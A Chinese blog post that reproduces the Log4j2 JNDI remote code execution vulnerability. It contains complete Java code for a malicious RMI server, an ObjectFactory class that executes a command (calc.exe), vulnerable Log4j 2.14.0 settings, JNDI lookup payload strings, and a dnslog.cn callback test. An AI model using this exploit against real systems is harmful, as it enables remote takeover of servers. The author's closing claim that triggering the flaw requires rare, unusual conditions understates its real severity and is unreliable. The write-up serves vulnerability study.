Log4j2漏洞复现
前言
Log4j2的远程执行漏洞最近炒得沸沸扬扬,我一直使用logback而幸免遇难,周末就躺在被窝里看戏了。虽然我们不用,但还是要了解的。
复现
控制服务端
■ RMIServer
RMIServer启动一个rmi服务,会启动两个端口,一个是registry设置,还有一个随机的端口与ip供传输执行类(System.setProperty设置是部署在多网卡环境,类似服务器上时设置的,设置到公网ip)。
package com.bbq;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) {
try {
// System.setProperty("java.rmi.server.hostname", "192.168.1.1");
Registry registry = LocateRegistry.createRegistry(1099);
System.err.println("Create RMI success");
Reference reference = new Reference("com.bbq.Evil", "com.bbq.Evil", null);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("evil", referenceWrapper);
} catch (Exception e) {
e.printStackTrace();
}
}
}
■ 执行类
执行的操作,此处打开计算器,能打开计算器也就意味着可以执行更多的危险操作。
package com.bbq;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class Evil implements ObjectFactory {
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
try {
String commands = "calc.exe";
Process pc = Runtime.getRuntime().exec(commands);
pc.waitFor();
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
}
被控服务端
■ pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.bbq</groupId>
<artifactId>fastjs</artifactId>
<version>1.0-SNAPSHOT</version>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.0</version>
</dependency>
</dependencies>
</project>
■ log4j2.xml
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/>
</Console>
</Appenders>
<Loggers>
<Root level="debug">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>
■ 使用Log4j的类
假如前端输入没做防火墙,用户名输入为这段非法字符串,而登录失败时采用占位符方式打印日志,就会执行远程代码内容。
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Lo4j {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
String username = "${jndi:rmi://127.0.0.1:1099/evil}";
// String username = "${jndi:ldap://yz934v.dnslog.cn}";
logger.info("bbq,{}", username);
}
}
执行结果
运行后就会在被控服务端的使用Log4j的类执行控制服务端的执行类,例如此处打开计算器。
使用dnslog网站测试
部署控制服务端不方便的话,可以借助dnslog网站测试
■ http://dnslog.cn/
■ ① Get SubDomain
① 点击第一个按钮 Get SubDomain,会获取一个域名。
■ ② 触发
② 使用Log4j的类的username处改为${jndi:ldap://【获取的域名】}"。
■ ③ Refresh Record
③ 点击Refresh Record 就会得到反馈。
最后
复现后就明白条件的苛刻,不用人云亦云,要触发这个漏洞还是要满足很多条件的,单单采用占位符记录输入这个奇葩操作我们都不太可能编写,更何况还有其它条件,不用看几篇报告就杯弓蛇影,当然劳动力富裕,所有项目做个升级也没有坏处。